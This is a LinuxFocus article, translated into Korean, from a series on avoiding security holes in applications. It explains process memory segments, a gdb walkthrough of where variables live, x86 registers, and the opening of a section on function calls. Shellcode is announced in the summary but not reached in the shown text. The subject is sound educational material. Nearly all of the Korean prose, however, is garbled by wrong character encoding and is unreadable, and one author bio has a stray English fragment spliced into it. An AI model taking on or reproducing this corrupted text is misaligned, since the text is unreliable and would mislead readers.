[LinuxFocus-icon]
Home  |  Map  |  Index  |  Search

News | Archives | Links | About LF  
[an error occurred while processing this directive]
convert to palmConvert to GutenPalm
or to PalmDoc

[image of the authors]
/±Û¾´ÀÌ : Frédéric Raynal, Christophe Blaess, Christophe Grenier

±Û¾´ÀÌ ¼Ò°³:

Christophe Blaess´Â Ç×°ø¿£Áö´Ï¾îÀÌ´Ù. ±×´Â ¸®´ª½º ÆÒÀ¸·Î ¸®´ª½º ½Ã½ºÅÛÀ¸·Î ¸¹Àº ÀÏÀ» ½ºÇàÇÏ°í ÀÖ´Ù. ±×¸®°í Linux¹®¼­È­ÇÁ·ÎÁ§Æ®¿¡¼­ manÆäÀÌÁöÀÇ ¹ø¿ªÀ» ¸Ã°í ÀÖ´Ù.

Christophe Grenier´Â ESIEA¿¡¼­ 5³âÂ÷ ÇлýÀ̸鼭 ½Ã½ºÅÛ °ü¸®ÀÚ·Î È°µ¿ÁßÀÌ´Ù. is a 5th year student at the ESIEA, where he ÄÄÇ»ÅÍ º¸¾È¿¡ ¸¹Àº °ü½ÉÀÌ ÀÖ´Ù.

Frédéric Raynal´Â ¸®´ª½º·Ñ ¿À·¡ÀüºÎÅÍ »ç¿ëÇØ ¿Ô´Ù.¸®´ª½º´Â ȯ°æÀ» ¿À¿°½ÃÅ°Áöµµ ¾Ê°í È£¸£¸óÀ» »ç¿ëÇÏÁöµµ ¾Ê°í µ¿¹°¼º ±â¸§µµ ¾øÀÌ ´ÜÁö ¶¡°ú ³ë·ÂÀ» ±â¹ÝÀ¸·Î ¹ßÀüÇØ ³ª°¡±â ‹š¹®¿¡ ÁÁ¾ÆÇÑ´Ù°í...


Â÷·Ê:

 

¼ÒÇÁÆ®¿þ¾î °³¹ß : ÀÀ¿ëÇÁ·Î±×·¥ °³¹ß½Ã º¸¾ÈÇêÁ¡ ÇÇÇϱâ - Á¦ 2ºÎ : ¸Þ¸ð¸®,½ºÅÃ,ÇÔ¼ö ±×¸®°í ½© ÄÚµå

article illustration

¿ä¾à:

À̹ø¿¡ ±âȹµÈ ¿¬ÀçµéÀº applications ¿¡¼­ ³ªÅ¸³¯¼ö ÀÖ´Â º¸¾È ¹®Á¦Á¡µé¿¡ ÁßÁ¡À» µÎ°í ÀÖ´Ù. ±×¸®°í ÇÁ·Î±×·¥ °³¹ß½Ã ¾à°£¸¸ ³ë·ÂÇÑ´Ù¸é ÀÌ·¯ÇÑ ¹®Á¦Á¡Àº ÇÇÇÒ ¼ö ÀÖ´Ù´Â °ÍÀ» º¸¿©ÁÖ°í ÀÖ´Ù.

À̹ø±Û¿¡¼­´Â ¸Þ¸ð¸®ÀÇ ±¸Á¶¿Í °èÃþ,±×¸®°í funtion °ú memoryÀÇ °ü°è¿¡ ´ëÇؼ­ ´Ù·ç¾ú´Ù. ¶ÇÇÑ À̱ÛÀÇ ¸¶Áö¸·ºÎºÐ¿¡¼­´Â shellcode¸¦ ¸¸µå´Â ¹æ¹ýÀ» ´Ù·ç¾ú´Ù. shellcode.



 

µé¾î°¡´Â ±Û

¿ì¸®´Â ¾ÕÀÇ ±Û¿¡¼­ ¿ÜºÎ ½ÇÇà ¸í·É(external command execution)¿¡ ±â¹ÝÀ» µÐ ¸î°¡Áö º¸¾È ¹®Á¦Á¡¿¡ ´ëÇØ ºÐ¼®Çغ¸¾Ò´Ù. À̹ø ±Û°ú ´ÙÀ½¿¡ À̾îÁú ±Û¿¡¼­´Â ±¤¹üÀ§ÇÑ ºÎºÐ¿¡¼­ »ç¿ëµÇ°í ÀÖ´Â buffer overflow¶ó´Â °ø°Ý¿¡ ´ëÇØ ¾Ë¾Æº¸°íÀÚ ÇÑ´Ù. ¿ì¸®´Â ÇÁ·Î±×·¥ÀÌ ½ÇÇàµÇ¾úÀ» ¶§ÀÇ ¸Þ¸ð¸® ±¸Á¶¸¦ ¾Ë¾Æº¸°í, shellÀ» ½ÃÀÛÇÏ°Ô ÇÏ´Â ÄÚµå(shellcode)¸¦ ¸¸µé¾î º¼ °ÍÀÌ´Ù.  

¸Þ¸ð¸®ÀÇ ±¸¼º

 

ÇÁ·Î±×·¥À̶õ?

¿ì¸®´Â ÀϹÝÀûÀ¸·Î, ¸í·É¾îµé·Î ÀÌ·ç¾îÁ® ÀÖÀ¸¸ç,±â°è¾î·Î Ç¥ÇöµÈ °ÍÀ»(ÀÌ°ÍÀ» ÇÁ·Î±×·¡¹ÖÇÏ´Â ¾ð¾î¿Í´Â »ó°ü¾øÀÌ) binary¶ó°í ºÎ¸¥´Ù. binary fileÀ» ¾ò±â À§ÇØ Ã³À½ compileÇÒ ¶§, program source´Â º¯¼ö(variable),»ó¼ö(constants),¸í·É¾î(instructions) µîÀ» º¸°üÇÑ´Ù. ÀÌ Àå¿¡¼­´Â binaryÀÇ °¢ ºÎºÐÀÌ ¸Þ¸ð¸®¿¡¼­ ¾î¶»°Ô ¹èÄ¡µÇ´ÂÁö¸¦ ¾Ë¾Æº¸°íÀÚ ÇÑ´Ù.

 

¼­·Î ´Ù¸¥ ¿µ¿ª

½ÇÇàÆÄÀÏ(binary)ÀÌ ½ÇÇàµÇ´Â µ¿¾È ¾î¶²ÀÏÀÌ ÀϾ´ÂÁö ÀÌÇØÇϱâ À§Çؼ­ ¸Þ¸ð¸®ÀÇ ±¸Á¶¸¦ »ìÆ캸±â·Î ÇÏÀÚ. ±×¸²¿¡¼­¿Í °°ÀÌ ¿©·¯°¡Áö ¿µ¿ªÀÌ ¸Þ¸ð¸®¿¡ Á¸ÀçÇÑ´Ù.

memory layout

À§ÀÇ ±×¸²ÀÌ ¸Þ¸ð¸® ±¸Á¶ÀÇ ¸ðµç °ÍÀ» º¸¿©ÁÖ°í ÀÖÁø ¾ÊÁö¸¸, ÀÌ ±Û¿¡¼­ ÁßÁ¡ÀûÀ¸·Î ´Ù·ê ³»¿ë¿¡ ´ëÇÑ ¸Þ¸ð¸® ±¸Á¶¸¦ Àß º¸¿©ÁÖ°í ÀÖ´Ù.

¾Æ·¡¿¡ ³ª¿À´Âsize -A file --radix 16 À̶õ ¸í·ÉÀº compileµÉ¶§ °¢°¢ÀÇ ¿µ¿ªÀÌ Â÷ÁöÇÏ´Â Å©±â¸¦ º¸¿©ÁÖ´Â ¸í·ÉÀÌ´Ù. ÀÌ ¸í·ÉÀ» ÅëÇؼ­ °¢°¢ÀÇ ¿µ¿ª¿¡ ´ëÇÑ ¸Þ¸ð¸® ÁÖ¼Ò¸¦ ¾òÀ» ¼ö ÀÖ´Ù(ÀÌ¿Í °°Àº Á¤º¸´Â objdump¶ó´Â ¸í·É¾î¸¦ ÅëÇؼ­µµ ¾òÀ» ¼ö ÀÖ´Ù.). ¿©±â¿¡¼­´Â "fct" ¶ó´Â ½ÇÇàÆÄÀÏ(binary)ÀÇ size¸¦ ¿¹·Î µé¾ú´Ù.

>>size -A fct --radix 16
fct  :
section            size        addr
.interp            0x13   0x80480f4
.note.ABI-tag      0x20   0x8048108
.hash              0x30   0x8048128
.dynsym            0x70   0x8048158
.dynstr            0x7a   0x80481c8
.gnu.version        0xe   0x8048242
.gnu.version_r     0x20   0x8048250
.rel.got            0x8   0x8048270
.rel.plt           0x20   0x8048278
.init              0x2f   0x8048298
.plt               0x50   0x80482c8
.text             0x12c   0x8048320
.fini              0x1a   0x804844c
.rodata            0x14   0x8048468
.data               0xc   0x804947c
.eh_frame           0x4   0x8049488
.ctors              0x8   0x804948c
.dtors              0x8   0x8049494
.got               0x20   0x804949c
.dynamic           0xa0   0x80494bc
.bss               0x18   0x804955c
.stab             0x978         0x0
.stabstr         0x13f6         0x0
.comment          0x16e         0x0
.note              0x78   0x8049574
Total            0x23c8

text ¿µ¿ªÀº ÇÁ·Î±×·¥ÀÇ ¸í·É¾îµé(instructions)ÀÌ ÀúÀåµÇ¸ç, ÀÌ ¿µ¿ªÀº read-only¿µ¿ªÀÌ´Ù. ÀÌ ¿µ¿ªÀº °°Àº ½ÇÇàÆÄÀÏÀÌ ¿©·¯°³ ½ÇÇàÁßÀ϶§ ¸ðµç ÇÁ·Î¼¼½º(process)°¡ °øÀ¯ÇÏ´Â ¿µ¿ªÀÌ´Ù. ÀÌ ¿µ¿ª¿¡ ´ëÇÑ ¾²·Á´Â ½Ãµµ´Â segmentation violation error¸¦ °¡Á®¿Ã °ÍÀÌ´Ù.

´Ù¸¥ ¿µ¿ª¿¡ ´ëÇØ ¼³¸íÇϱâ Àü¿¡, C¾ð¾î¿¡¼­ÀÇ º¯¼ö(varilable)¿¡ °üÇؼ­ ¸î°¡Áö ¾Ë¾Æº¸ÀÚ. Àü¿ªº¯¼ö(global variables)¸¦ ¼±¾ð Çϸé, ÇÁ·Î±×·¥ Àüü¿¡¼­ Àü¿ªº¯¼ö°¡ À¯È¿ÇÑ ¹Ý¸é, Áö¿ªº¯¼ö( local variables)¸¦ ¼±¾ðÇÏ¸é ±× Áö¿ªº¯¼ö°¡ ¼±¾ðµÈ ÇÔ¼ö¾È¿¡¼­¸¸, À¯È¿ÇÑ °ªÀ» °¡Áø´Ù. Á¤Àû º¯¼ö(static variables)¸¦ ¼±¾ðÇϸé, ¼±¾ðµÈ µ¥ÀÌÅÍ À¯ÇüÀÇ Å©±â¸¸Å­ÀÇ °ø°£À» È®º¸ÇÑ´Ù. ÀÌ µ¥ÀÌÅÍ À¯ÇüÀ¸·Î´Â char,int,double, pointer(C ¿¡¼­ *¿Í ÇÔ²² Ç¥ÇöµÇ´ÂpointerÇü º¯¼ö¸¦ ¸»ÇÑ´Ù.)µîÀÌ ÀÖ´Ù. PCŸÀÔÀÇ ÄÄÇ»ÅÍ¿¡¼­ Æ÷ÀÎÅÍ(pointer)´Â 32bitÀÇ Á¤¼öÇü ÁÖ¼Òü°è(integer address)·Î Ç¥ÇöµÈ´Ù. static¿µ¿ªÀÇ Å©±â´Â ÄÄÆÄÀϵǴ µ¿¾È Á¤È®È÷´Â ¾Ë ¼ö ¾ø´Ù.µ¿Àûº¯¼ö(dynamic variable)´Â ¸í½ÃÀûÀ¸·Î ¸Þ¸ð¸® ¿µ¿ªÀ» ÇÒ´çÇϹǷÎ, Æ÷ÀÎÅÍ°¡ ÀÌ ÇÒ´çµÈ ÁÖ¼Ò¸¦ °¡¸£Å°°í ÀÖ´Ù. global/local,static/dynamic º¯¼öµéÀº °°ÀÌ »ç¿ëÇÏ¿©µµ »ó°ü¾ø´Ù.

´Ù½Ã, À§¿¡¼­ »ìÆ캻 ¸Þ¸ð¸® ±¸Á¶·Î ³Ñ¾î°¡ º¸ÀÚ. data¿µ¿ªÀº ÃʱâÈ­µÈ Á¤Àû Àü¿ª data(the initialized global static data)°¡ ÀúÀåµÇ´Â ¹Ý¸é(ÀÌ °ªÀº ÄÄÆÄÀϽà Á¦°øµÈ´Ù.), bss segment´Â ÃʱâÈ­µÇÁö ¾ÊÀº Àü¿ª data(global data)°¡ ÀúÀåµÈ´Ù. ÀÌ ¿µ¿ªÀº ±×µéÀÌ °¡Áö°í ÀÖ´Â objects¿¡ ÀÇÇØ Á¤ÀÇµÈ ±×µéÀÇ Å©±â°¡ Àֱ⠶§¹®¿¡ ÄÄÆÄÀϵɶ§ º¸Á¸µÈ´Ù.

±×·¸´Ù¸é ÄÄÆÄÀϽà Áö¿ªº¯¼ö¿Í µ¿Àûº¯¼ö´Â ¾î¶»°Ô µÉ±î? À̵éÀº ÇÁ·Î±×·¥ ½ÇÇàÀ» À§ÇØ ¸Þ¸ð¸® ¿µ¿ª¿¡ ¹«¸®Áö¾î ÀúÀåµÈ´Ù( À̵éÀº user stack frameÀ̶ó´Â °ÍÀ» »ý¼ºÇÏ¿© ÀÌ°÷¿¡ ÀúÀåµÈ´Ù.). ÇÔ¼ö°¡ ¹Ýº¹ÀûÀ¸·Î È£ÃâµÇ±â ¶§¹®¿¡ Áö¿ªº¯¼öÀÇ instances °¹¼ö´Â »çÀü¿¡ ¾Ë ¼ö ¾ø´Ù. Áö¿ªº¯¼ö¸¦ »ý¼ºÇϸé, À̵éÀº stack¿¡ ³Ö¾îÁö°Ô µÈ´Ù. ÀÌ ½ºÅÃÀº user address °ø°£¿¡¼­ »óÀ§ ¸Þ¸ð¸® ÁÖ¼Ò¹øÁöÀÇ ÃÖ»óÀ§¿¡ À§Ä¡Çϸç, LIFO(Last In, First Out)¸ðµ¨¿¡ µû¶ó µ¿ÀÛÇÑ´Ù. user frame¿µ¿ªÀÇ ¾Æ·¡ÂÊÀº µ¿Àûº¯¼öÀÇ ÇÒ´ç¿¡ »ç¿ëµÈ´Ù. À̺κÐÀ» heap¿µ¿ªÀ̶ó ºÎ¸¥´Ù. ÀÌ°ÍÀº µ¿Àûº¯¼ö¿Í Æ÷ÀÎÅÍ¿¡ ÀÇÇØ °¡¸®ÄÑÁö´Â ¸Þ¸ð¸® ¿µ¿ªÀ» Æ÷ÇÔÇÏ°í ÀÖ´Ù. 32bit ü°è¿¡¼­ Æ÷ÀÎÅÍ º¯¼ö¸¦ ¼±¾ðÇßÀ»¶§, BSS¶Ç´Â stack¾ÈÀÇ ¾î¶² Á¤È®ÇÑ ÁÖ¼Ò¸¦ °¡¸£Å°Áö´Â ¾Ê´Â´Ù. ÇÁ·Î¼¼¼­°¡ memory¸¦ ÇÒ´çÇÔÀ¸·Î¼­ (malloc°°Àº ÇÔ¼ö¸¦ ½á¼­) ±× ¸Þ¸ð¸®ÀÇ Ã¹¹ø° ¹ÙÀÌÆ®ÀÇ ÁÖ¼Ò°¡ Æ÷ÀÎÅͺ¯¼ö¾ÈÀ¸·Î µé¾î°¡°Ô µÈ´Ù.

 

ÀÚ¼¼ÇÑ ¿¹

¾Æ·¡ÀÇ ¿¹Á¦´Â ¸Þ¸ð¸®¾È¿¡¼­ º¯¼öµéÀÌ ¾î¶² °èÃþ¿¡ ¼ÓÇÏ´Â Áö¸¦ Àß º¸¿©ÁÖ°í ÀÖ´Ù. :

/* mem.c */

  int    index = 1;   //in data
  char * str;         //in bss
  int    nothing;     //in bss

void f(char c)
{
  int i;              //in the stack
  /* Reserves 5 characters in the heap */
  str = (char*) malloc (5 * sizeof (char));
  strncpy(str, "abcde", 5);
}

int main (void)
{
  f(0);
}

Gnu/linux µð¹ö°ÅÀÎ gdb¸¦ ÀÌ¿ëÇÏ¿© À̸¦ È®ÀÎÇغ¸ÀÚ.

>>gdb mem
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public
License, and you are welcome to change it and/or distribute
copies of it under certain conditions.  Type "show copying"
to see the conditions.  There is absolutely no warranty
for GDB.  Type "show warranty" for details.  This GDB was
configured as "i386-redhat-linux"...
(gdb)

breakpoint¸¦ f() ½ÃÄѺ¸ÀÚ:

(gdb) list
7      void f(char c)
8      {
9         int i;
10        str = (char*) malloc (5 * sizeof (char));
11        strncpy (str, "abcde", 5);
12     }
13
14     int main (void)
(gdb) break 12
Breakpoint 1 at 0x804842a: file mem.c, line 12.
(gdb) run
Starting program: mem

Breakpoint 1, f (c=0 '\000') at mem.c:12
12      }

ÀÌÁ¦´Â °¢°¢ÀÇ º¯¼ö°¡ À§Ä¡ÇÏ´Â °÷À» È®ÀÎÇغ¼ Â÷·Ê´Ù.

1. (gdb) print &index
$1 = (int *) 0x80494a4
2. (gdb) info symbol 0x80494a4
index in section .data
3. (gdb)  print &nothing
$2 = (int *) 0x8049598
4. (gdb) info symbol 0x8049598
nothing in section .bss
5. (gdb) print str
$3 = 0x80495a8 "abcde"
6. (gdb) info symbol 0x80495a8
No symbol matches 0x80495a8.
7. (gdb) print &str
$4 = (char **) 0x804959c
8. (gdb) info symbol 0x804959c
str in section .bss
9. (gdb) x 0x804959c
0x804959c <str>:     0x080495a8
10. (gdb) x/2x 0x080495a8
0x80495a8: 0x64636261      0x00000065

1¹ø ¸í·É(print &index)Àº Àü¿ªº¯¼öÀÎ indexÀÇ ¸Þ¸ð¸® ÁÖ¼Ò¸¦ º¸¿©ÁØ´Ù. µÎ¹ø° ¸í·É (info)´Â indexÀÇ ¸Þ¸ð¸®ÁÖ¼Ò¿Í symbolÀ» ¿¬°á½ÃÄѼ­ ¸Þ¸ð¸®ÀÇ ¾î¶² ¿µ¿ª¿¡ ÀÌ ÁÖ¼Ò°¡ Á¸ÀçÇÏ´ÂÁö¸¦ º¸¿©ÁØ´Ù: index´Â ÃʱâÈ­µÈ Àü¿ª Á¤Àû º¯¼öÀ̹ǷΠdata¿µ¿ª¿¡ ÀúÀåµÈ´Ù´Â °ÍÀ» ÀÌ ¸í·ÉÀ» ÅëÇØ ¾Ë ¼ö ÀÖ´Ù.

3¹ø°ú 4¹ø ¸í·É¾î´Â ÃʱâÈ­µÇÁö ¾ÊÀº Á¤Àû º¯¼öÀÎ nothingÀÌ BSS segment¿¡ ÀúÀåµÈ´Ù´Â »ç½ÇÀ» º¸¿©ÁÖ°í ÀÖ´Ù.

5¹ø¸í·ÉÀº strÀ» º¸¿©ÁÖ°í ÀÖ´Ù. ½ÇÁ¦·Î´Â strº¯¼öÀÇ ³»¿ëÀ» º¸¿©ÁÖ°í ÀÖÀ¸¸ç ±× ÁÖ¼Ò´Â 0x80495a8ÀÌ´Ù. 6¹ø ¸í·ÉÀº ÀÌ ÁÖ¼Ò¿¡´Â ¾Æ¹«·± º¯¼öµµ Á¤ÀǵǾî ÀÖÁö ¾ÊÀ½À» º¸¿©ÁÖ°í ÀÖ´Ù. 7¹ø¸í·ÉÀ¸·Î strº¯¼öÀÇ ÁÖ¼Ò¸¦ ¾ò¾î¼­, 8¹ø¸í·ÉÀ¸·Î ÀÌ º¯¼ö°¡ BSS segment¿¡ Á¸ÀçÇÑ´Ù´Â °ÍÀ» º¸¿©ÁÖ°í ÀÖ´Ù.

9¹ø¸í·ÉÀº 0x804959cÀÇ ÁÖ¼Ò¿¡ ÀúÀåµÈ ¸Þ¸ð¸® ³»¿ë¿¡ ÇØ´çÇÏ´Â °ÍÀ» 4bytes·Î º¸¿©ÁØ´Ù: ÀÌ ¸Þ¸ð¸® ³»¿ëÀº heap ¿µ¿ª¿¡ Á¸ÀçÇÑ´Ù. 10¹ø¸í·ÉÀº ¹®ÀÚ¿­ "abcde"°¡ ÀÌ ¸Þ¸ð¸® ÁÖ¼Ò¿¡ Á¸ÀçÇÑ´Ù´Â º¸¿©Áش٠:

hexadecimal value : 0x64 63 62 61      0x00000065
character         :    d  c  b  a               e

Áö¿ªº¯¼öÀÎ c ¿Í i´Â ½ºÅÿ¡ ÀúÀåµÈ´Ù.

¿ì¸®´Â ÇÁ·Î±×·¥¿¡¼­ size¸í·É¾î¸¦ ÅëÇØ ¾òÀº °¢°¢ÀÇ ¿µ¿ª¿¡ ´ëÇÑ Å©±â°¡ ¿ì¸®°¡ ±â´ëÇÑ °ª°ú ´Ù¸£´Ù´Â »ç½ÇÀ» ¾Ë¾Æ¾ß ÇÑ´Ù. Å©±â°¡ ´Ù¸¥ ÀÌÀ¯´Â ¶óÀ̺귯¸®¿¡¼­ ¼±¾ðµÈ °¢Á¾ÀÇ ´Ù¸¥ º¯¼öµéÀÌ ÇÁ·Î±×·¥ ½ÇÇà½Ã ³ªÅ¸³ª±â ¶§¹®ÀÌ´Ù(gdb¿¡¼­ info variables¶ó´Â ¸í·ÉÀ» ÅëÇØ ÀÌµé ¸ðµÎ¸¦ ¾òÀ» ¼ö ÀÖ´Ù.).

 

The stack and the heap

ÇÔ¼ö°¡ È£ÃâµÉ ¶§¸¶´Ù, Áö¿ª º¯¼ö¿Í ÇÔ¼öÀÇ ÀÎÀÚµéÀ» À§ÇÑ »õ·Î¿î ȯ°æÀÌ »ý¼ºµÈ´Ù(¿©±â¿¡¼­ ¾²ÀΠȯ°æ (environment)À̶õ, ÇÔ¼ö¸¦ ½ÇÇàÇÏ´Â µ¿¾È ³ªÅ¸³ª´Â ¸ðµç ¿ä¼Ò¸¦ ÀǹÌÇÏ¸ç ¿©±â¿¡´Â ÇÔ¼öÀÇ ÀÎÀÚ(arguments), Áö¿ªº¯¼ö, return addressµîÀÌ Æ÷ÇԵȴÙ. ¿©±â¼­ ¾²ÀΠȯ°æÀ̶õ ´Ü¾î´Â shellÀÇ È¯°æº¯¼ö¿Í´Â ´Ù¸£¹Ç·Î È¥µ¿ÇÏÁö ¾Ê±æ ¹Ù¶õ´Ù.). %esp (extended stack pointer)´Â ½ºÅÃÀÇ ÃÖ»óÀ§ ÁÖ¼Ò¸¦ °¡Áö°í ÀÖ´Â ·¹Áö½ºÅÍÀ̸ç, ½ÇÁ¦·Î ¿ì¸®°¡ Ç¥ÇöÇÒ ¶§´Â ÃÖÇÏÀ§(bottom)¿¡ Ç¥ÇöµÈ´Ù. ÇÏÁö¸¸ ½ºÅÿ¡ ´õÇØÁö´Â ¸¶Áö¸· ¿ä¼Ò¸¦ °¡¸®Å°°í ÀÖ´Ù´Â Á¡°ú ½ºÅÃÀ» ÀÌÇØÇϴµ¥ ÃÖ»óÀ§(top)À̶õ Ç¥ÇöÀÌ ´õ Àß ¾î¿ï¸®¹Ç·Î topÀ̶ó°í °è¼Ó ºÎ¸¦ °ÍÀÌ´Ù: ÀÌ°ÍÀº ½Ã½ºÅÛ ±¸Á¶¿¡ ÀÇÁ¸ÀûÀ̾, ÀÌ ·¹Áö½ºÅÍ°¡ ¶§·Î´Â ½ºÅÃÀÇ Ã¹¹ø° ºó °ø°£À» °¡¸®Å°°í ÀÖ´Â °æ¿ìµµ ÀÖ´Ù.

½ºÅÿ¡¼­ Áö¿ªº¯¼öÀÇ ÁÖ¼Ò´Â %esp¿¡ ´ëÇÑ offsetÀ¸·Î Ç¥ÇöµÈ´Ù. ±×·¯³ª %esp¸¦ ÀÌ¿ëÇϸé ÀÎÀÚµé(items)¸¦ ½ºÅÿ¡ ³Ö°í »©°í ÇÏ´Â ÀÛ¾÷¿¡ À־ Ç×»ó °¢ º¯¼öÀÇ offsetÀ» ÀçÁ¶Á¤ÇØ¾ß ÇϹǷΠ¸Å¿ì ºñÈ¿À²ÀûÀÌ´Ù. ÀÌ·¯ÇÑ ¹®Á¦Á¡À» ÇØ°áÇÏ´Â ¹æ¾ÈÀ¸·Î %ebp¸¦ »ç¿ëÇÑ´Ù:%ebp(extended base pointer)´Â ÇöÀç ÇÔ¼öÀÇ È¯°æÀÌ ½ÃÀ۵Ǵ ÁÖ¼Ò¸¦ ÀúÀåÇÏ°í ÀÖ´Â ·¹Áö½ºÅÍÀÌ´Ù. ¶ÇÇÑ ÀÌ ·¹Áö½ºÅÍ¿¡ ´ëÇÑ offsetÇ¥Çö ÀÌ °¡´ÉÇÏ´Ù. ±×¸®°í ÇÔ¼ö°¡ ½ÇÇàµÇ´Â µ¿¾È º¯ÇÏÁö ¾Ê´Â´Ù. À§¿¡¼­ ¼³¸íÇÑ ³»¿ëÀ» Àß ÀÌÇØÇÏ¿´´Ù¸é, ÇÔ¼ö¾È¿¡¼­ Áö¿ªº¯¼ö³ª ÀÎÀÚ¸¦ ½±°Ô ãÀ» ¼ö ÀÖÀ» °ÍÀÌ´Ù.

½ºÅÃÀÇ ±âº» ´ÜÀ§´Â wordÀÌ´Ù : i386 CPU¿¡¼­´Â 32bit, Áï 4bytesÀÌ´Ù. ÀÌ°ÍÀº ½Ã½ºÅÛ¿¡ µû¶ó ´Ù¸£´Ù. Alpha CPU¿¡¼­ÀÇ word´Â 64bitÀÌ´Ù. ½ºÅÃÀº ¿À·ÎÁö words´ÜÀ§·Î¸¸ ´Ù·ç¾î Áö¹Ç·Î, ÇÒ´çµÈ ¸ðµç º¯¼ö´Â °°Àº word size¸¦ °¡Áö°Ô µÈ´Ù. À̺κп¡ ´ëÇؼ­´Â ÇÔ¼öÀÇ prologºÎºÐ¿¡¼­ Á» ´õ ÀÚ¼¼È÷ ´Ù·ê¿¹Á¤ÀÌ´Ù. ¾ÕÀÇ ¿¹¿¡¼­ gdb¸¦ ÅëÇÏ¿© strº¯¼öÀÇ ³»¿ëÀ» º¼ ¼ö ÀÖ¾ú´Âµ¥, À̺κÐÀÌ ½ºÅÃÀÇ ±âº»´ÜÀ§°¡ word¶ó´Â °ÍÀ» Àß º¸¿©ÁÖ°í ÀÖ´Ù. gdbÀÇ x¸í·ÉÀº 32bit wordÀüü¸¦ º¸¿©ÁØ´Ù(ÀÌ°ÍÀº ¿ÞÂÊÀ¸·ÎºÎÅÍ ¿À¸¥ÂÊÀ¸·Î Àд´Ù.i386 CPU¿¡¼­´Â little endian±¸Á¶¸¦ °¡Áö°í Àֱ⠶§¹®ÀÌ´Ù.).

½ºÅÿ¡¼­ ÀÚÁÖ ¾²ÀÌ´Â 2°³ÀÇ cpu ¸í·É¾î°¡ ÀÖ´Ù:

 

·¹Áö½ºÅÍ

Á¤È®È÷ ·¹Áö½ºÅͶó´Â °ÍÀÌ ¹«¾ùÀ» ¸»ÇÏ´Â °ÍÀϱî? °£´ÜÇÏ°Ô ¼³¸íÇÏÀÚ¸é,¸Þ¸ð¸®¿¡ ¿¬¼ÓÀûÀ¸·Î words°¡ ±¸¼ºµÇ´Â µ¿¾È ´ÜÁö ÇÑ word¸¦ ÀúÀåÇÏ°í ÀÖ´Â º¸°üÇÔÁ¤µµ·Î ÀÌÇØÇÏ¸é µÈ´Ù. ¸Å½Ã°£¸¶´Ù »õ·Î¿î °ªÀÌ ·¹Áö½ºÅÍ¿¡ µé¾î°¡°Ô µÈ´Ù(À̶§ Àü¿¡ ÀúÀåµÈ °ªÀº ¾ø¾îÁø´Ù.).À̹ۿ¡µµ, ·¹Áö½ºÅÍ´Â ¸Þ¸ð¸®¿Í CPU»çÀÌ¿¡ Á÷Á¢Åë½ÅÀÌ °¡´ÉÇϴٴ Ư¡À» °¡Áö°í ÀÖ´Ù.

·¹Áö½ºÅÍÀ̸§ÀÇ Á¦ÀÏ ¾Õ¿¡ ÀÖ´Â 'e'´Â "extended"¸¦ ÀǹÌÇϸç, ÀÌ°ÍÀº 16bit±¸Á¶¿¡¼­ 32bit±¸Á¶·ÎÀÇ º¯È­¸¦ ³ªÅ¸³½´Ù.

·¹Áö½ºÅÍ´Â ´ÙÀ½°ú °°ÀÌ 4°³ºÎºÐÀ¸·Î ³ª´­ ¼ö ÀÖ´Ù :

  1. general registers : data¸¦ ´Ù·ç´Â ·¹Áö½ºÅÍ·Î %eax, %ebx,%ecx, %edx°¡ ¿©±â¿¡ ¼ÓÇÑ´Ù ;
  2. segment registers : ¸Þ¸ð¸®ÁÖ¼ÒÀÇ Ã¹¹ø° ºÎºÐÀ» °¡Áö°í ÀÖ´Â ·¹Áö½ºÅÍ·Î 16bit %cs, %ds, %esx ,%ss°¡ ¿©±â¿¡ ¼ÓÇÑ´Ù;
  3. offset registers : ÀÌ ·¹Áö½ºÅ͵éÀº segment ·¹Áö½ºÅÍ¿¡ ´ëÇÑ offsetÀ» °¡¸®Å°´Â ·¹Áö½ºÅ͵éÀÌ´Ù :
  4. special registers : ÀÌ°ÍÀº ¿ÀÁ÷ CPU¿¡ ÀÇÇؼ­¸¸ »ç¿ëµÈ´Ù.
ÁÖÀÇÇÒ Á¡: ¿©±â¼­ À̾߱âÇÏ´Â ¸ðµç ·¹Áö½ºÅÍ´Â alpha³ª sparc¸Ó½Å°°Àº °ÍÀÌ ¾Æ´Ñ, x86½Ã½ºÅÛ¿¡ ¸ÂÃá°ÍÀÌ´Ù. ºñ·Ï ½Ã½ºÅÛ¸¶´Ù ´Ù¸¥ À̸§À» °¡Áö´õ¶óµµ ÀÌ¿Í ºñ½ÁÇÑ ±â´ÉÀ» °¡Áö°í ÀÖÀ» °ÍÀÌ´Ù.  

ÇÔ¼ö

 

µé¾î°¡´Â ±Û

ÀÌ Àå¿¡¼­´Â ÇÁ·Î±×·¥ÀÇ È£Ãâ¿¡¼­ºÎÅÍ ÇÁ·Î±×·¥ÀÌ ³¡³¯¶§±îÁö ÇÁ·Î±×·¥¾È¿¡ ÀϾ´Â ÀÏ¿¡ °üÇØ ´Ù·ê °ÍÀÌ´Ù. ÀÌ ÀåÀ» ÁøÇàÇÏ´Â µ¿¾È ¾Æ·¡ÀÇ ¿¹Á¦¸¦ °¡Áö°í °è¼Ó ¼³¸íÇØ ³ª°¥ °ÍÀÌ´Ù:
/* fct.c */

void toto(int i, int j)
{
  char str[5] = "abcde";
  int k = 3;
  j = 0;
  return;
}

int main(int argc, char **argv)
{
  int i = 1;
  toto(1, 2);
  i = 0;
  printf("i=%d\n",i);
}

ÀÌ Àå¿¡¼­´Â À§¿¡ ÀÖ´Â ÇÔ¼ö¿¡¼­ ÀϾ´Â ÀÏÀ» ½ºÅðú ·¹Áö½ºÅÍ¿¡ ÃÊÁ¡À» ¸ÂÃß¾î ¼³¸íÇÏ·Á ÇÑ´Ù. ¾î¶² °ø°ÝÀº ÇÁ·Î±×·¥ÀÇ ½ÇÇà¹æ¹ýÀÇ º¯È­¸¦ ÅëÇÏ¿© ÀÌ·ç¾îÁø´Ù. ÀÌ·¯ÇÑ °ÍÀ» ÀÌÇØÇϱâ À§ÇÏ¿©, ÀϹÝÀûÀ¸·Î ¾î¶² ÀÏÀÌ ÀϾ´ÂÁö¿¡ ´ëÇؼ­ ¾Æ´Â °ÍÀº Áß¿äÇÑ ÀÏÀÌ´Ù.

ÇÔ¼öÀÇ ½ÇÇàÀº ´ÙÀ½°ú °°ÀÌ ¼¼ºÎºÐÀ¸·Î ³ª´­ ¼ö ÀÖ´Ù :

